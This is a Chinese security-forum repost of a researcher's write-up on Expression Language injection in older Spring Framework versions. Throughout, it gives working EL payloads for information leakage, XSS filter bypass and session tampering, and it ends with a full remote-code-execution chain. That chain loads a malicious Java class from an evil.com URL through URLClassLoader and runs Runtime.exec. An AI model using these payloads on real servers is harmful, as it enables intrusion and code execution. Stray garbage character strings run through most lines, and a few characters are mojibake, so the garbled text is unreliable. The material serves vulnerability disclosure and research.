中国网络渗透测试联盟

标题: spring-远程代码注入 [打印本页]

作者: admin    时间: 2013-2-16 21:47
标题: spring-远程代码注入
Remote Code with
# |" c" H$ Q2 k' O8 `% S2 m$ H" ]4 pExpression Language Injection
* Y6 k- T* t' B; W" KSpring Framework脆弱性—DanAmodio
, a1 h5 r7 |0 U& A% {2 h全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
& `3 P8 a( q$ p1 k1 ~& T# B可能会存在风险。% N) f1 I  b4 N: J- Y
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的- i7 x, l) `8 h. N: r+ c0 i
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可% ~  i. x* ~. v4 C0 h) ]  m% e+ y3 y
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,' c+ p+ g! a8 n& d! z
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
! r1 V0 |, t4 L# H, V版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
0 `; J6 {- m9 Z, |3 O3 A由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但9 [' @* c3 w' a2 b
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版* }8 S4 S1 |# O' D: T7 k
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
/ S' b4 J8 W! z# h5 i这些版本不支持禁用double EL resolution.& x. X- z% ?! O; b% _7 u7 b
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含8 g) ^+ @" X0 i" i7 d" P& A$ i9 a
EL2.2容器上可能进行远程代码执行。
5 G  `% Q# o- W, d这是一个原始信息泄露的攻击例子:3 F3 w2 |& y; h2 R
请求:
% T, o/ }0 W; Xttp://vulnerable.com/foo?message=${applicationScope}
0 G# _& x$ T. a7 D) |" j到达以下内容页面:: r+ o; W! @/ x* X9 p. E. L! c
结果将输出一些包含内部服务器信息calsspath 和本地工作目录2 {6 k0 U5 g- x) b0 Q
你也可以做一些其他事情,如这样:% q" c) y4 [: N: k% w
${9999+1}
8 d& q5 b; H- d- i: T还可以访问session 对象和beans5 U0 ?2 `! z" F
${employee.lastName}
' Q/ E5 y/ E  U在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是& t- b3 y% g) {& J
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东" u1 P9 v. ?, |' U
西,比如XSS.) M/ v! T+ T6 [4 V
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
$ Y5 m" r3 m8 y' Z突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
4 a% z! h* s  ?- g" H0 b0 O, d9 `% Y* x呢?”; [& s5 J( y7 O( M
因此,我尝试巳缦拢�
. `5 \7 a/ V# y7 X3 {' Lhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
, r1 T" b3 M6 Y% b) @1 L. FP: b- ?5 t# Q5 M/ `* ]$ T% K
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返5 ]) w$ l4 D7 r4 e. h1 ^) G, T2 x5 U& I
回的文本被插入进了spring:message 标签。
; u/ U$ V8 G3 _; T  ^; v3 I; f这里是一个最终绕过过滤的实例:
5 R# u% z5 W5 S2 N  Rhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ7 f- t9 T/ }8 B" g" n
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为! D6 ^0 y/ [8 y( f* h* q2 a
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
: z! E5 k: V5 d经过一番研究,我学习到EL2.2 增加了方法调用。/ k6 t$ q# h7 I# F( C8 k
我写了一个快速测试应用程序代码并且检测一些功能
. h) A5 V$ H8 [1 g${pageContext.request.getSession().setAttribute(“account”,”123456″)}
% J9 a; C8 Y( N- Y: e: ~${pageContext.request.getSession().setAttribute(“admin”,true)}& r1 O0 H2 n# M
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
7 K: T, _. }- w( a2 s指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?/ Q: G1 B- h+ A! w6 y# d
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
: O! U6 Y  {) M  \3 z- T3 E“, 1234)}
1 Y3 G" D) ]7 h5 _* C3 b) g, R+ D3 x) _${“”.getClass().forName(“java.lang.Runtime”)}8 r2 Y$ H+ I. r( a
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不/ p6 D6 s% \3 }
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
# t1 E' Q/ C, g/ P- c数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有4 K) }8 A9 v% D8 L7 }: S
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于. _0 _0 z2 @+ c& A) W) j
方法签名invoke(Object obj, Object„ args)
8 _: [1 g* x$ v( s. tJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问6 Q& E# |, T! i/ v* O
题,以让它可以工作起来。( A3 B. V+ K# I- ~
漏洞利用:
+ d6 ?9 m( n# E' \4 Z我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
$ B; v* O7 Z) r5 Z希望你们中的一些JAVA奇才告诉我我是如此的可笑。
" M3 i7 u+ P9 }, b% @' C/ K这里有一些我试过的失败的用例,为了试图让它工作的用例:  O# k" l% }, d1 ?1 N) Z  ]; H
 写文件到文件系统2 M; [! N4 M+ j1 ]: s) E( W
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.3 n  ^$ H# p( W6 i2 ~1 Q
我认为这些可以很好的工作,但是我不能找到合适的类来载入。8 K4 r$ b6 \/ O# m: h- K: K2 q
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
  `# B  u2 Q+ `- ?4 X! [% t1 z' Bjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:: c$ @: d7 z( \' L) C9 @6 W
org.springframework.expression.spel.standard.SpelExpressionParser not found
8 d3 ^2 l. K6 U4 E) J& ^4 w' Y4 P4 _! sby
+ w* Q; m8 B3 Q# ^- ^org.glassfish.web.javax.servlet.jsp [194].+ I, x# P# I" M. r
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
) x& y+ a) n$ ~: x3 n& Q$ V5 q 利用反射来创建一个新的Runtime(and watch the world burn)& j7 B& y' T# F+ z( i0 F9 b8 {
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
1 v4 f# b6 [4 B0 j0 G; J) f* J(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
. x" h1 k# @6 `8 f, }${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
1 e4 i6 a# k/ o/ m6 U/ f, n$ a! c 使用java.lang.ProcessBuilder9 p, L' a1 Q# Y  D" {3 g' h
 用表达式语言来评估表达式语言. m( m$ O0 f. \+ x  f0 W
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.: e" h0 g; u; g) L8 C  `7 O
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
6 S  r* r: L7 Z; f; r' w2 w8 H“,”".getClass(),null)}6 s! V1 m/ k# d/ h9 L
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)2 u+ d" @! k+ E: Y! D
我在使用一个空数组通过Method.invoke()时失败了很多次
5 b) ?3 f1 p  h. p“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo2 m+ G$ v0 J& V5 U9 S- ~: Q2 Y
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
& G, L' T& x' F' x7 s3 Q% [rrayList”).newInstance().toArray())% b6 J) R) z7 u
java.lang.IllegalArgumentException: wrong number of arguments4 B7 f, q' ]6 ]; {, S9 c
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
+ E2 D! _) v7 @. U: k以创建一个恶意class文件并且指向类装载器.5 @' h; R0 R0 R
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
+ g) g) w9 ^8 x: v$ ppublic class Malicious {. `- d* a/ W+ C6 {6 C
public Malicious() {
5 S8 u5 R( n0 n7 [$ D$ q; ?0 Ytry {  ]# |* I7 q. _3 f' s
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac6 U9 s' S0 R( K6 J1 G, K
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win4 B' N  G) k  D( F
} catch (Exception e) {8 r% A2 {# x& e4 p% N" ]
}
$ h/ ]" I0 r7 X' ^4 ?}; H" t& W( r4 A% ~; a* w+ ~, ^
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回$ X7 g$ R  s+ N" u1 M( m! Z8 c
话中,因此它可以被使用.9 G% F$ h) I3 ]/ R; }+ f
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName* I' f, K8 _# w
(“java.util.ArrayList”).newInstance())}% x6 N6 y" b/ c$ h! @
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
5 p9 W; A2 g3 e8 u0 v一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和7 @" T& ^! m) u) ~/ D
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
$ }& p3 n) m( E; L! {我们可以调用的create(string)方法,然后转换对一个URL对象。
/ [# V- x! M! ~0 d; J3 V! J3 R* C${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh6 G) s+ |% E6 Z: R) J
ere/malicious/classfile/is/located/”).toURL())}' ]$ H) k  ~3 u/ K, r
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
2 q! n. u" \9 n& V/ Z% c恶意类文件被装载并创建,触发远程代码.
' B1 R; X, X% w" T7 R${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte& d, a  [  F* m* e
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().+ C& L6 E% z7 |% [2 T$ H' s
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance; c: o  T* q( @' j+ v' F# _
()}




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2